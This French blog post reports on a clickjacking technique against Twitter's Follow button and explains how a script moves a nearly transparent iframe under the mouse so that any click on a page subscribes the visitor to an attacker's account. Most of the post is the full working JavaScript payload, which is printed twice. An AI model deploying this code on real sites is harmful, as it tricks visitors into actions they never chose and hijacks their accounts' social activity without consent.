
Le bouton Follow de twitter sujet au clickjacking
C’est peu de temps après la sortie du nouveau bouton “follow” de twitter qu’un hacker révèle un code permettant de faire s’abonner les visiteurs d’un site à un compte twitter via un simple clic n’importe où sur la page.
Facebook avec son bouton like est aussi victime de ce genre de “hack” via les boutons cachés devant des vidéos ou liens.
Si vous ne voyez pas trop comment tout cela est possible, alors quelques explications s’impose : un code javascript capture les déplacements de la souris et positionne une iframe transparente en dessous du curseur. Lorsque l’utilisateur clique quelque part sur la page, il clique en fait sur le bouton ce qui va le rajouter en follower du pirate.
Curieux comme vous êtes, je suppose que vous mourez d’envie de voir le code permettant de faire ça, et bien le voici :
if (!document.getElementsByClassName){
document.getElementsByClassName = function(classname){
for (i=0; i < document.getElementsByTagName("*").length; i++)
{
if (document.getElementsByTagName("*").item(i).className == classname){
return new Array(document.getElementsByTagName("*").item(i));
}
}
}
}
var twitterFollowIframe = document.getElementsByClassName('twitter-follow-button')[0];
twitterFollowIframe.style.position = 'absolute';
twitterFollowIframe.style.opacity = '0.2';
twitterFollowIframe.style.filter = 'alpha(opacity=20)';
document.onmousemove = function(e){
if ( !e ) e = window.event;
twitterFollowIframe.style.left = e.clientX - 20;
twitterFollowIframe.style.top = e.clientY - 10;
}
Si vous souhaitez voir un exemple en ligne le hacker l’a mit à disposition sur ce lien.
Merci à Didinouche pour l’info.
[via Korben, serphacker, presse-citron]
if (!document.getElementsByClassName){
document.getElementsByClassName = function(classname){
for (i=0; i < document.getElementsByTagName("*").length; i++)
{
if (document.getElementsByTagName("*").item(i).className == classname){
return new Array(document.getElementsByTagName("*").item(i));
}
}
}
}
var twitterFollowIframe = document.getElementsByClassName('twitter-follow-button')[0];
twitterFollowIframe.style.position = 'absolute';
twitterFollowIframe.style.opacity = '0.2';
twitterFollowIframe.style.filter = 'alpha(opacity=20)';
document.onmousemove = function(e){
if ( !e ) e = window.event;
twitterFollowIframe.style.left = e.clientX - 20;
twitterFollowIframe.style.top = e.clientY - 10;
}
No Comment